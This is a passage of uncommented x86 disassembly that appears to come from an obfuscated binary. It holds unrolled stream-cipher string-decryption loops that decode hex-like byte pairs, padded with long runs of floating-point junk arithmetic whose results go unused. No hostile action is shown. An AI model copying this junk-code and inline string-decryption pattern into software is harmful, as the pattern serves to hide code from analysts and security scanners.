add ecx, dword [ebp - 0x4528]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x334f], al
mov eax, dword [ebp - 0x4528]
add eax, 1
mov dword [ebp - 0x4528], eax
movzx ecx, byte [ebp - 0x3fe3]
cmp dword [ebp - 0x4528], ecx
jb 0x43e207
mov dword [ebp - 0x4528], 0
movzx edx, byte [ebp - 0x3fe3]
movzx eax, byte [ebp - 0x334f]
add eax, edx
mov byte [ebp - 0x334f], al
movzx ecx, byte [ebp - 0x334f]
and ecx, dword [ebp - 0x4820]
mov dword [ebp - 0x4308], ecx
mov edx, dword [ebp - 0x4a80]
add edx, 1
mov dword [ebp - 0x4a80], edx
cmp dword [ebp - 0x4a80], 0xb
jbe 0x43e246
mov eax, dword [ebp - 0x4308]
xor edx, edx
div dword [ebp - 0x382c]
mov dword [ebp - 0x4308], edx
mov eax, dword [ebp - 0x4308]
cmp eax, dword [ebp - 0x382c]
ja 0x43e0c1
mov ecx, dword [ebp - 0x382c]
cmp ecx, dword [ebp - 0x4308]
je 0x43e2eb
mov edx, dword [ebp - 0x4308]
movzx eax, byte [ebp + edx - 0x5620]
mov ecx, dword [ebp - 0x382c]
movzx edx, byte [ebp + ecx - 0x5620]
xor edx, eax
mov eax, dword [ebp - 0x382c]
mov byte [ebp + eax - 0x5620], dl
mov ecx, dword [ebp - 0x382c]
movzx edx, byte [ebp + ecx - 0x5620]
mov eax, dword [ebp - 0x4308]
movzx ecx, byte [ebp + eax - 0x5620]
xor ecx, edx
mov edx, dword [ebp - 0x4308]
mov byte [ebp + edx - 0x5620], cl
mov eax, dword [ebp - 0x4308]
movzx ecx, byte [ebp + eax - 0x5620]
mov edx, dword [ebp - 0x382c]
movzx eax, byte [ebp + edx - 0x5620]
xor eax, ecx
mov ecx, dword [ebp - 0x382c]
mov byte [ebp + ecx - 0x5620], al
jmp 0x43e071
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x5620]
mov byte [ebp - 0x326d], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x5620]
mov byte [ebp - 0x3287], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x5620]
mov byte [ebp - 0x32d9], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x5620]
mov byte [ebp - 0x3286], al
movzx ecx, byte [ebp - 0x334f]
mov dl, byte [ebp + ecx - 0x5620]
mov byte [ebp - 0x3299], dl
mov dword [ebp - 0x5184], 0x12
cmp dword [ebp - 0x5184], 2
jle 0x4402c7
mov eax, dword [ebp - 0x5184]
and eax, 1
jne 0x4402c7
mov dword [ebp - 0x3384], 0
mov dword [ebp - 0x3620], 0
mov ecx, dword [ebp - 0x3620]
add ecx, 1
mov dword [ebp - 0x3620], ecx
mov dword [ebp - 0x3830], 0
mov edx, dword [ebp - 0x3384]
shl edx, 1
mov dword [ebp - 0x3830], edx
mov dword [ebp - 0x376c], 0
mov eax, dword [ebp - 0x3834]
add eax, dword [ebp - 0x3830]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x376c]
mov dword [ebp - 0x376c], ecx
mov dword [ebp - 0x3768], 0
mov edx, dword [ebp - 0x3768]
add edx, 0xd9
mov dword [ebp - 0x3768], edx
mov dword [ebp - 0x3838], 0
mov eax, dword [ebp - 0x3384]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3838], ecx
mov dword [ebp - 0x3760], 0
mov edx, dword [ebp - 0x3834]
add edx, dword [ebp - 0x3838]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3760]
mov dword [ebp - 0x3760], eax
mov dword [ebp - 0x375c], 0
mov ecx, dword [ebp - 0x375c]
add ecx, 0x86
mov dword [ebp - 0x375c], ecx
mov dword [ebp - 0x3758], 0
mov edx, dword [ebp - 0x376c]
sub edx, dword [ebp - 0x3768]
add edx, dword [ebp - 0x3758]
mov dword [ebp - 0x3758], edx
mov dword [ebp - 0x3754], 0
mov eax, dword [ebp - 0x3760]
sub eax, dword [ebp - 0x375c]
add eax, dword [ebp - 0x3754]
mov dword [ebp - 0x3754], eax
mov dword [ebp - 0x383c], 0
mov ecx, dword [ebp - 0x3758]
shl ecx, 4
mov dword [ebp - 0x383c], ecx
mov dword [ebp - 0x3840], 0
mov edx, dword [ebp - 0x3754]
mov dword [ebp - 0x3840], edx
mov dword [ebp - 0x3844], 0
mov eax, dword [ebp - 0x383c]
or eax, dword [ebp - 0x3840]
mov dword [ebp - 0x3844], eax
mov byte [ebp - 0x32da], 0
mov cl, byte [ebp - 0x3844]
mov byte [ebp - 0x32da], cl
mov byte [ebp - 0x32d8], 0
movzx edx, byte [ebp - 0x3299]
mov al, byte [ebp + edx - 0x5620]
mov byte [ebp - 0x32d8], al
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp + ecx - 0x5620]
movzx eax, byte [ebp - 0x3287]
add eax, edx
mov byte [ebp - 0x3287], al
mov cl, byte [ebp - 0x326d]
add cl, 1
mov byte [ebp - 0x326d], cl
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp - 0x3299]
mov cl, byte [ebp + edx - 0x5620]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x3286]
movzx eax, byte [ebp - 0x3287]
mov cl, byte [ebp + edx - 0x5620]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp - 0x3286]
mov cl, byte [ebp + edx - 0x5620]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x326d]
mov al, byte [ebp - 0x32d8]
mov byte [ebp + edx - 0x5620], al
movzx ecx, byte [ebp - 0x32d8]
movzx edx, byte [ebp + ecx - 0x5620]
movzx eax, byte [ebp - 0x32d9]
add eax, edx
mov byte [ebp - 0x32d9], al
movzx ecx, byte [ebp - 0x32da]
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp + edx - 0x5620]
movzx edx, byte [ebp - 0x326d]
movzx edx, byte [ebp + edx - 0x5620]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5620]
xor ecx, eax
movzx edx, byte [ebp - 0x3286]
movzx eax, byte [ebp + edx - 0x5620]
movzx edx, byte [ebp - 0x3299]
movzx edx, byte [ebp + edx - 0x5620]
add eax, edx
movzx edx, byte [ebp - 0x32d9]
movzx edx, byte [ebp + edx - 0x5620]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5620]
movzx edx, byte [ebp + eax - 0x5620]
xor ecx, edx
mov byte [ebp - 0x3286], cl
mov al, byte [ebp - 0x32da]
mov byte [ebp - 0x3299], al
mov cl, byte [ebp - 0x3286]
mov byte [ebp - 0x331a], cl
cmp dword [ebp - 0x3384], 0
jle 0x43e67d
movsx dx, byte [ebp - 0x331a]
mov eax, dword [ebp - 0x3384]
mov word [ebp + eax*2 - 0x3e], dx
mov ecx, dword [ebp - 0x3384]
add ecx, 1
mov dword [ebp - 0x3384], ecx
mov edx, dword [ebp - 0x3620]
add edx, 1
mov dword [ebp - 0x3620], edx
movss xmm0, dword [0xa6f248]
movss dword [ebp - 0x43f4], xmm0
movss xmm0, dword [0xa6f1d4]
movss dword [ebp - 0x4330], xmm0
movss xmm0, dword [0xa6f16c]
movss dword [ebp - 0x42fc], xmm0
movss xmm0, dword [0xa6f11c]
movss dword [ebp - 0x3ecc], xmm0
movss xmm0, dword [0xa6f090]
movss dword [ebp - 0x452c], xmm0
movss xmm0, dword [0xa6f03c]
movss dword [ebp - 0x3d50], xmm0
movss xmm0, dword [0xa6efcc]
movss dword [ebp - 0x3e48], xmm0
movss xmm0, dword [ebp - 0x42fc]
mulss xmm0, dword [ebp - 0x3e48]
movss dword [ebp - 0x42fc], xmm0
movss xmm0, dword [ebp - 0x3d50]
subss xmm0, dword [ebp - 0x3e48]
movss dword [ebp - 0x3d50], xmm0
movss xmm0, dword [ebp - 0x43f4]
addss xmm0, dword [ebp - 0x3e48]
movss dword [ebp - 0x43f4], xmm0
movss xmm0, dword [ebp - 0x42fc]
mulss xmm0, dword [ebp - 0x3e48]
movss dword [ebp - 0x42fc], xmm0
movss xmm0, dword [ebp - 0x42fc]
subss xmm0, dword [ebp - 0x3e48]
movss dword [ebp - 0x42fc], xmm0
movss xmm0, dword [ebp - 0x3ecc]
addss xmm0, dword [ebp - 0x3e48]
movss dword [ebp - 0x3ecc], xmm0
movss xmm0, dword [ebp - 0x3ecc]
addss xmm0, dword [ebp - 0x3e48]
movss dword [ebp - 0x3ecc], xmm0
movss xmm0, dword [ebp - 0x42fc]
comiss xmm0, dword [ebp - 0x3d50]
jbe 0x43e883
movss xmm0, dword [ebp - 0x3ecc]
addss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x3ecc], xmm0
movss xmm0, dword [ebp - 0x3d50]
subss xmm0, dword [ebp - 0x43f4]
movss dword [ebp - 0x3d50], xmm0
movss xmm0, dword [ebp - 0x3ecc]
mulss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x3ecc], xmm0
movss xmm0, dword [ebp - 0x3e48]
addss xmm0, dword [ebp - 0x4330]
movss dword [ebp - 0x3e48], xmm0
movss xmm0, dword [ebp - 0x3e48]
mulss xmm0, dword [ebp - 0x4330]
movss dword [ebp - 0x3e48], xmm0
movss xmm0, dword [ebp - 0x3ecc]
mulss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x3ecc], xmm0
movss xmm0, dword [ebp - 0x4330]
addss xmm0, dword [ebp - 0x3ecc]
movss dword [ebp - 0x4330], xmm0
mov eax, dword [ebp - 0x3384]
shl eax, 1
mov dword [ebp - 0x3830], eax
jmp 0x43e92b
movss xmm0, dword [ebp - 0x452c]
divss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x452c], xmm0
movss xmm0, dword [ebp - 0x4330]
divss xmm0, dword [ebp - 0x42fc]
movss dword [ebp - 0x4330], xmm0
movss xmm0, dword [ebp - 0x452c]
subss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x452c], xmm0
movss xmm0, dword [ebp - 0x43f4]
subss xmm0, dword [ebp - 0x4330]
movss dword [ebp - 0x43f4], xmm0
movss xmm0, dword [ebp - 0x43f4]
mulss xmm0, dword [ebp - 0x4330]
movss dword [ebp - 0x43f4], xmm0
movss xmm0, dword [ebp - 0x452c]
mulss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x452c], xmm0
movss xmm0, dword [ebp - 0x3d50]
subss xmm0, dword [ebp - 0x3e48]
movss dword [ebp - 0x3d50], xmm0
mov ecx, dword [ebp - 0x3834]
add ecx, dword [ebp - 0x3830]
movzx edx, byte [ecx]
mov dword [ebp - 0x376c], edx
mov dword [ebp - 0x3768], 0xd9
mov eax, dword [ebp - 0x3384]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3838], ecx
mov edx, dword [ebp - 0x3834]
add edx, dword [ebp - 0x3838]
movzx eax, byte [edx]
mov dword [ebp - 0x3760], eax
mov dword [ebp - 0x375c], 0x86
mov ecx, dword [ebp - 0x376c]
sub ecx, dword [ebp - 0x3768]
mov dword [ebp - 0x3758], ecx
mov edx, dword [ebp - 0x3760]
sub edx, dword [ebp - 0x375c]
mov dword [ebp - 0x3754], edx
mov eax, dword [ebp - 0x3758]
shl eax, 4
mov dword [ebp - 0x383c], eax
mov ecx, dword [ebp - 0x3754]
mov dword [ebp - 0x3840], ecx
mov edx, dword [ebp - 0x383c]
or edx, dword [ebp - 0x3840]
mov dword [ebp - 0x3844], edx
mov al, byte [ebp - 0x3844]
mov byte [ebp - 0x32da], al
movzx ecx, byte [ebp - 0x3299]
mov dl, byte [ebp + ecx - 0x5620]
mov byte [ebp - 0x32d8], dl
movzx eax, byte [ebp - 0x326d]
movzx ecx, byte [ebp + eax - 0x5620]
movzx edx, byte [ebp - 0x3287]
add edx, ecx
mov byte [ebp - 0x3287], dl
mov al, byte [ebp - 0x326d]
add al, 1
mov byte [ebp - 0x326d], al
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp - 0x3299]
mov al, byte [ebp + ecx - 0x5620]
mov byte [ebp + edx - 0x5620], al
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp - 0x3287]
mov al, byte [ebp + ecx - 0x5620]
mov byte [ebp + edx - 0x5620], al
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp - 0x3286]
mov al, byte [ebp + ecx - 0x5620]
mov byte [ebp + edx - 0x5620], al
movzx ecx, byte [ebp - 0x326d]
mov dl, byte [ebp - 0x32d8]
mov byte [ebp + ecx - 0x5620], dl
movzx eax, byte [ebp - 0x32d8]
movzx ecx, byte [ebp + eax - 0x5620]
movzx edx, byte [ebp - 0x32d9]
add edx, ecx
mov byte [ebp - 0x32d9], dl
movzx eax, byte [ebp - 0x32da]
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp + ecx - 0x5620]
movzx ecx, byte [ebp - 0x326d]
movzx ecx, byte [ebp + ecx - 0x5620]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5620]
xor eax, edx
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp + ecx - 0x5620]
movzx ecx, byte [ebp - 0x3299]
movzx ecx, byte [ebp + ecx - 0x5620]
add edx, ecx
movzx ecx, byte [ebp - 0x32d9]
movzx ecx, byte [ebp + ecx - 0x5620]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5620]
movzx ecx, byte [ebp + edx - 0x5620]
xor eax, ecx
mov byte [ebp - 0x3286], al
mov dl, byte [ebp - 0x32da]
mov byte [ebp - 0x3299], dl
mov al, byte [ebp - 0x3286]
mov byte [ebp - 0x331a], al
cmp dword [ebp - 0x3384], 0
jle 0x43eb56
movsx cx, byte [ebp - 0x331a]
mov edx, dword [ebp - 0x3384]
mov word [ebp + edx*2 - 0x3e], cx
mov eax, dword [ebp - 0x3384]
add eax, 1
mov dword [ebp - 0x3384], eax
mov ecx, dword [ebp - 0x3620]
add ecx, 1
mov dword [ebp - 0x3620], ecx
mov edx, dword [ebp - 0x3384]
shl edx, 1
mov dword [ebp - 0x3830], edx
mov eax, dword [ebp - 0x3834]
add eax, dword [ebp - 0x3830]
movzx ecx, byte [eax]
mov dword [ebp - 0x376c], ecx
mov dword [ebp - 0x3768], 0xd9
mov edx, dword [ebp - 0x3384]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3838], eax
mov ecx, dword [ebp - 0x3834]
add ecx, dword [ebp - 0x3838]
movzx edx, byte [ecx]
mov dword [ebp - 0x3760], edx
mov dword [ebp - 0x375c], 0x86
mov eax, dword [ebp - 0x376c]
sub eax, dword [ebp - 0x3768]
mov dword [ebp - 0x3758], eax
mov ecx, dword [ebp - 0x3760]
sub ecx, dword [ebp - 0x375c]
mov dword [ebp - 0x3754], ecx
mov edx, dword [ebp - 0x3758]
shl edx, 4
mov dword [ebp - 0x383c], edx
mov eax, dword [ebp - 0x3754]
mov dword [ebp - 0x3840], eax
mov ecx, dword [ebp - 0x383c]
or ecx, dword [ebp - 0x3840]
mov dword [ebp - 0x3844], ecx
mov dl, byte [ebp - 0x3844]
mov byte [ebp - 0x32da], dl
movzx eax, byte [ebp - 0x3299]
mov cl, byte [ebp + eax - 0x5620]
mov byte [ebp - 0x32d8], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp + edx - 0x5620]
movzx ecx, byte [ebp - 0x3287]
add ecx, eax
mov byte [ebp - 0x3287], cl
mov dl, byte [ebp - 0x326d]
add dl, 1
mov byte [ebp - 0x326d], dl
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp - 0x3299]
mov dl, byte [ebp + eax - 0x5620]
mov byte [ebp + ecx - 0x5620], dl
movzx eax, byte [ebp - 0x3286]
movzx ecx, byte [ebp - 0x3287]
mov dl, byte [ebp + eax - 0x5620]
mov byte [ebp + ecx - 0x5620], dl
movzx eax, byte [ebp - 0x326d]
movzx ecx, byte [ebp - 0x3286]
mov dl, byte [ebp + eax - 0x5620]
mov byte [ebp + ecx - 0x5620], dl
movzx eax, byte [ebp - 0x326d]
mov cl, byte [ebp - 0x32d8]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x32d8]
movzx eax, byte [ebp + edx - 0x5620]
movzx ecx, byte [ebp - 0x32d9]
add ecx, eax
mov byte [ebp - 0x32d9], cl
movzx edx, byte [ebp - 0x32da]
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp + eax - 0x5620]
movzx eax, byte [ebp - 0x326d]
movzx eax, byte [ebp + eax - 0x5620]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5620]
xor edx, ecx
movzx eax, byte [ebp - 0x3286]
movzx ecx, byte [ebp + eax - 0x5620]
movzx eax, byte [ebp - 0x3299]
movzx eax, byte [ebp + eax - 0x5620]
add ecx, eax
movzx eax, byte [ebp - 0x32d9]
movzx eax, byte [ebp + eax - 0x5620]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5620]
movzx eax, byte [ebp + ecx - 0x5620]
xor edx, eax
mov byte [ebp - 0x3286], dl
mov cl, byte [ebp - 0x32da]
mov byte [ebp - 0x3299], cl
mov dl, byte [ebp - 0x3286]
mov byte [ebp - 0x331a], dl
cmp dword [ebp - 0x3384], 0
jle 0x43edae
movsx ax, byte [ebp - 0x331a]
mov ecx, dword [ebp - 0x3384]
mov word [ebp + ecx*2 - 0x3e], ax
mov edx, dword [ebp - 0x3384]
add edx, 1
mov dword [ebp - 0x3384], edx
mov eax, dword [ebp - 0x3620]
add eax, 1
mov dword [ebp - 0x3620], eax
mov ecx, dword [ebp - 0x3384]
shl ecx, 1
mov dword [ebp - 0x3830], ecx
mov edx, dword [ebp - 0x3834]
add edx, dword [ebp - 0x3830]
movzx eax, byte [edx]
mov dword [ebp - 0x376c], eax
mov dword [ebp - 0x3768], 0xd9
mov ecx, dword [ebp - 0x3384]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3838], edx
mov eax, dword [ebp - 0x3834]
add eax, dword [ebp - 0x3838]
movzx ecx, byte [eax]
mov dword [ebp - 0x3760], ecx
mov dword [ebp - 0x375c], 0x86
mov edx, dword [ebp - 0x376c]
sub edx, dword [ebp - 0x3768]
mov dword [ebp - 0x3758], edx
mov eax, dword [ebp - 0x3760]
sub eax, dword [ebp - 0x375c]
mov dword [ebp - 0x3754], eax
mov ecx, dword [ebp - 0x3758]
shl ecx, 4
mov dword [ebp - 0x383c], ecx
mov edx, dword [ebp - 0x3754]
mov dword [ebp - 0x3840], edx
mov eax, dword [ebp - 0x383c]
or eax, dword [ebp - 0x3840]
mov dword [ebp - 0x3844], eax
mov cl, byte [ebp - 0x3844]
mov byte [ebp - 0x32da], cl
movzx edx, byte [ebp - 0x3299]
mov al, byte [ebp + edx - 0x5620]
mov byte [ebp - 0x32d8], al
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp + ecx - 0x5620]
movzx eax, byte [ebp - 0x3287]
add eax, edx
mov byte [ebp - 0x3287], al
mov cl, byte [ebp - 0x326d]
add cl, 1
mov byte [ebp - 0x326d], cl
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp - 0x3299]
mov cl, byte [ebp + edx - 0x5620]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x3286]
movzx eax, byte [ebp - 0x3287]
mov cl, byte [ebp + edx - 0x5620]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp - 0x3286]
mov cl, byte [ebp + edx - 0x5620]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x326d]
mov al, byte [ebp - 0x32d8]
mov byte [ebp + edx - 0x5620], al
movzx ecx, byte [ebp - 0x32d8]
movzx edx, byte [ebp + ecx - 0x5620]
movzx eax, byte [ebp - 0x32d9]
add eax, edx
mov byte [ebp - 0x32d9], al
movzx ecx, byte [ebp - 0x32da]
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp + edx - 0x5620]
movzx edx, byte [ebp - 0x326d]
movzx edx, byte [ebp + edx - 0x5620]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5620]
xor ecx, eax
movzx edx, byte [ebp - 0x3286]
movzx eax, byte [ebp + edx - 0x5620]
movzx edx, byte [ebp - 0x3299]
movzx edx, byte [ebp + edx - 0x5620]
add eax, edx
movzx edx, byte [ebp - 0x32d9]
movzx edx, byte [ebp + edx - 0x5620]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5620]
movzx edx, byte [ebp + eax - 0x5620]
xor ecx, edx
mov byte [ebp - 0x3286], cl
mov al, byte [ebp - 0x32da]
mov byte [ebp - 0x3299], al
mov cl, byte [ebp - 0x3286]
mov byte [ebp - 0x331a], cl
cmp dword [ebp - 0x3384], 0
jle 0x43f004
movsx dx, byte [ebp - 0x331a]
mov eax, dword [ebp - 0x3384]
mov word [ebp + eax*2 - 0x3e], dx
mov ecx, dword [ebp - 0x3384]
add ecx, 1
mov dword [ebp - 0x3384], ecx
mov edx, dword [ebp - 0x3620]
add edx, 1
mov dword [ebp - 0x3620], edx
mov eax, dword [ebp - 0x3384]
shl eax, 1
mov dword [ebp - 0x3830], eax
mov ecx, dword [ebp - 0x3834]
add ecx, dword [ebp - 0x3830]
movzx edx, byte [ecx]
mov dword [ebp - 0x376c], edx
mov dword [ebp - 0x3768], 0xd9
mov eax, dword [ebp - 0x3384]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3838], ecx
mov edx, dword [ebp - 0x3834]
add edx, dword [ebp - 0x3838]
movzx eax, byte [edx]
mov dword [ebp - 0x3760], eax
mov dword [ebp - 0x375c], 0x86
mov ecx, dword [ebp - 0x376c]
sub ecx, dword [ebp - 0x3768]
mov dword [ebp - 0x3758], ecx
mov edx, dword [ebp - 0x3760]
sub edx, dword [ebp - 0x375c]
mov dword [ebp - 0x3754], edx
mov eax, dword [ebp - 0x3758]
shl eax, 4
mov dword [ebp - 0x383c], eax
mov ecx, dword [ebp - 0x3754]
mov dword [ebp - 0x3840], ecx
mov edx, dword [ebp - 0x383c]
or edx, dword [ebp - 0x3840]
mov dword [ebp - 0x3844], edx
mov al, byte [ebp - 0x3844]
mov byte [ebp - 0x32da], al
movzx ecx, byte [ebp - 0x3299]
mov dl, byte [ebp + ecx - 0x5620]
mov byte [ebp - 0x32d8], dl
movzx eax, byte [ebp - 0x326d]
movzx ecx, byte [ebp + eax - 0x5620]
movzx edx, byte [ebp - 0x3287]
add edx, ecx
mov byte [ebp - 0x3287], dl
mov al, byte [ebp - 0x326d]
add al, 1
mov byte [ebp - 0x326d], al
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp - 0x3299]
mov al, byte [ebp + ecx - 0x5620]
mov byte [ebp + edx - 0x5620], al
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp - 0x3287]
mov al, byte [ebp + ecx - 0x5620]
mov byte [ebp + edx - 0x5620], al
movsd xmm0, qword [0xa6ee30]
movsd qword [ebp - 0x3910], xmm0
movsd xmm0, qword [0xa6ece8]
movsd qword [ebp - 0x41c4], xmm0
movsd xmm0, qword [0xa6eb68]
movsd qword [ebp - 0x4368], xmm0
movsd xmm0, qword [0xa6e9f8]
movsd qword [ebp - 0x39d4], xmm0
movsd xmm0, qword [0xa6e7a8]
movsd qword [ebp - 0x3a40], xmm0
movsd xmm0, qword [ebp - 0x39d4]
subsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x39d4], xmm0
movsd xmm0, qword [ebp - 0x3910]
addsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x3910], xmm0
movsd xmm0, qword [ebp - 0x3910]
subsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x3910], xmm0
movsd xmm0, qword [ebp - 0x41c4]
subsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x41c4], xmm0
movsd xmm0, qword [ebp - 0x3910]
mulsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x3910], xmm0
movsd xmm0, qword [ebp - 0x3910]
comisd xmm0, xmmword [ebp - 0x39d4]
jbe 0x43f2ca
movsd xmm0, qword [ebp - 0x39d4]
addsd xmm0, qword [ebp - 0x3910]
movsd qword [ebp - 0x39d4], xmm0
movsd xmm0, qword [ebp - 0x41c4]
subsd xmm0, qword [ebp - 0x39d4]
movsd qword [ebp - 0x41c4], xmm0
movsd xmm0, qword [ebp - 0x41c4]
subsd xmm0, qword [ebp - 0x39d4]
movsd qword [ebp - 0x41c4], xmm0
movsd xmm0, qword [ebp - 0x41c4]
mulsd xmm0, qword [ebp - 0x39d4]
movsd qword [ebp - 0x41c4], xmm0
movsd xmm0, qword [ebp - 0x3910]
addsd xmm0, qword [ebp - 0x4368]
movsd qword [ebp - 0x3910], xmm0
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp - 0x3286]
mov al, byte [ebp + ecx - 0x5620]
mov byte [ebp + edx - 0x5620], al
jmp 0x43f63d
movsd xmm0, qword [ebp - 0x39d4]
divsd xmm0, qword [ebp - 0x3910]
movsd qword [ebp - 0x39d4], xmm0
movsd xmm0, qword [ebp - 0x39d4]
subsd xmm0, qword [ebp - 0x3910]
movsd qword [ebp - 0x39d4], xmm0
movsd xmm0, qword [ebp - 0x39d4]
subsd xmm0, qword [ebp - 0x3910]
movsd qword [ebp - 0x39d4], xmm0
movsd xmm0, qword [ebp - 0x39d4]
mulsd xmm0, qword [ebp - 0x3910]
movsd qword [ebp - 0x39d4], xmm0
movsd xmm0, qword [ebp - 0x3910]
addsd xmm0, qword [ebp - 0x4368]
movsd qword [ebp - 0x3910], xmm0
movsd xmm0, qword [ebp - 0x3a40]
addsd xmm0, qword [ebp - 0x3910]
movsd qword [ebp - 0x3a40], xmm0
movsd xmm0, qword [ebp - 0x3910]
mulsd xmm0, qword [ebp - 0x41c4]
movsd qword [ebp - 0x3910], xmm0
movsd xmm0, qword [ebp - 0x3910]
addsd xmm0, qword [ebp - 0x41c4]
movsd qword [ebp - 0x3910], xmm0
movsd xmm0, qword [ebp - 0x3a40]
subsd xmm0, qword [ebp - 0x3910]
movsd qword [ebp - 0x3a40], xmm0
movsd xmm0, qword [ebp - 0x41c4]
addsd xmm0, qword [ebp - 0x4368]
movsd qword [ebp - 0x41c4], xmm0
movsd xmm0, qword [ebp - 0x41c4]
comisd xmm0, xmmword [ebp - 0x3a40]
jbe 0x43f449
movsd xmm0, qword [ebp - 0x4368]
subsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x4368], xmm0
movsd xmm0, qword [ebp - 0x3910]
mulsd xmm0, qword [ebp - 0x4368]
movsd qword [ebp - 0x3910], xmm0
movsd xmm0, qword [ebp - 0x3a40]
divsd xmm0, qword [ebp - 0x41c4]
movsd qword [ebp - 0x3a40], xmm0
movsd xmm0, qword [ebp - 0x3a40]
divsd xmm0, qword [ebp - 0x41c4]
movsd qword [ebp - 0x3a40], xmm0
movsd xmm0, qword [ebp - 0x4368]
divsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x4368], xmm0
jmp 0x43f63d
movsd xmm0, qword [ebp - 0x3a40]
addsd xmm0, qword [ebp - 0x3910]
movsd qword [ebp - 0x3a40], xmm0
movsd xmm0, qword [ebp - 0x3a40]
mulsd xmm0, qword [ebp - 0x3910]
movsd qword [ebp - 0x3a40], xmm0
movsd xmm0, qword [ebp - 0x3910]
subsd xmm0, qword [ebp - 0x41c4]
movsd qword [ebp - 0x3910], xmm0
movsd xmm0, qword [ebp - 0x3910]
subsd xmm0, qword [ebp - 0x41c4]
movsd qword [ebp - 0x3910], xmm0
movsd xmm0, qword [ebp - 0x3910]
addsd xmm0, qword [ebp - 0x41c4]
movsd qword [ebp - 0x3910], xmm0
movsd xmm0, qword [ebp - 0x39d4]
subsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x39d4], xmm0
movsd xmm0, qword [ebp - 0x39d4]
mulsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x39d4], xmm0
movsd xmm0, qword [ebp - 0x4368]
subsd xmm0, qword [ebp - 0x39d4]
movsd qword [ebp - 0x4368], xmm0
movsd xmm0, qword [ebp - 0x39d4]
divsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x39d4], xmm0
movsd xmm0, qword [ebp - 0x3910]
mulsd xmm0, qword [ebp - 0x41c4]
movsd qword [ebp - 0x3910], xmm0
movsd xmm0, qword [ebp - 0x41c4]
comisd xmm0, xmmword [ebp - 0x39d4]
jbe 0x43f5c5
movsd xmm0, qword [ebp - 0x39d4]
addsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x39d4], xmm0
movsd xmm0, qword [ebp - 0x3a40]
mulsd xmm0, qword [ebp - 0x3910]
movsd qword [ebp - 0x3a40], xmm0
movsd xmm0, qword [ebp - 0x4368]
mulsd xmm0, qword [ebp - 0x39d4]
movsd qword [ebp - 0x4368], xmm0
movsd xmm0, qword [ebp - 0x39d4]
divsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x39d4], xmm0
movsd xmm0, qword [ebp - 0x39d4]
subsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x39d4], xmm0
jmp 0x43f63d
movsd xmm0, qword [ebp - 0x4368]
mulsd xmm0, qword [ebp - 0x39d4]
movsd qword [ebp - 0x4368], xmm0
movsd xmm0, qword [ebp - 0x3a40]
subsd xmm0, qword [ebp - 0x3910]
movsd qword [ebp - 0x3a40], xmm0
movsd xmm0, qword [ebp - 0x4368]
